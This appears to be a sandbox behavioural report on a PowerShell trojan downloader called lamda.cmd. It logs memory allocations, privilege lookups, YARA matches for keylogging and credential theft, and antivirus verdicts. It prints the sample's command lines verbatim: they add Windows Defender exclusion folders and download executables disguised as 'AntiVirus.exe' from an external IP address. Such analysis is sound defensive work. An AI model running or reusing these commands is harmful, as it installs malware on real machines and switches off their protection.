NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02583000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02584000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02585000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02586000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02587000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02588000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02589000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e13000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e14000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e15000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e16000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e17000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e18000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e19000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (12 events)

cmdline	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Programlog1'"
cmdline	Powershell -Command "Invoke-Webrequest 'http://80.76.49.148/LgGFdDAm/main2.exe' -OutFile 'C:\Programlog\main2.exe'"
cmdline	powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm/AntiVirus3.exe' -OutFile 'C:\RM\AntiVirus3.exe'"
cmdline	powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm/AntiVirus4.exe' -OutFile 'C:\RM\AntiVirus4.exe'"
cmdline	powershell -Command "New-Item -ItemType Directory -Force -Path 'C:\RM'"
cmdline	powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm/AntiVirus.exe' -OutFile 'C:\RM\AntiVirus.exe'"
cmdline	powershell -Command "New-Item -ItemType Directory -Force -Path 'C:\Programlog1'"
cmdline	powershell -Command "New-Item -ItemType Directory -Force -Path 'C:\Programlog'"
cmdline	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Programlog'"
cmdline	powershell -Command "Add-MpPreference -ExclusionPath 'C:\RM'"
cmdline	Powershell -Command "Invoke-Webrequest 'http://80.76.49.148/LgGFdDAm/main.exe' -OutFile 'C:\Programlog\main.exe'"
cmdline	powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm/AntiVirus2.exe' -OutFile 'C:\RM\AntiVirus2.exe'"

Checks for the Locally Unique Identifier on the system for a suspicious privilege (12 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 19, 2024, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (31 events)

description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communication using DGA	rule	Network_DGA
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Take ScreenShot	rule	ScreenShot
description	Escalate priviledges	rule	Escalate_priviledges
description	Steal credential	rule	local_credential_Steal
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	File Downloader	rule	Network_Downloader
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over P2P network	rule	Network_P2P_Win

A potential heapspray has been detected. 111 megabytes was sprayed onto the heap of the powershell.exe process (1 event)

count

1784

name

heapspray

process

powershell.exe

total_mb

111

length

65536

protection

PAGE_READWRITE

File has been identified by 11 AntiVirus engines on VirusTotal as malicious (11 events)

Skyhigh	BehavesLike.Backdoor.xq
VIPRE	Heur.BZC.MNT.Boxter.928.27AEDF2A
Arcabit	Heur.BZC.MNT.Boxter.928.27AEDF2A [many]
ESET-NOD32	PowerShell/TrojanDownloader.Agent.GEI
BitDefender	Heur.BZC.MNT.Boxter.928.27AEDF2A
MicroWorld-eScan	Heur.BZC.MNT.Boxter.928.27AEDF2A
Emsisoft	Heur.BZC.MNT.Boxter.928.27AEDF2A (B)
FireEye	Heur.BZC.MNT.Boxter.928.27AEDF2A
GData	Heur.BZC.MNT.Boxter.928.2856D07C (3x)
MAX	malware (ai score=85)
alibabacloud	Trojan[downloader]:Win/BZC.MTB

lamda.cmd

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All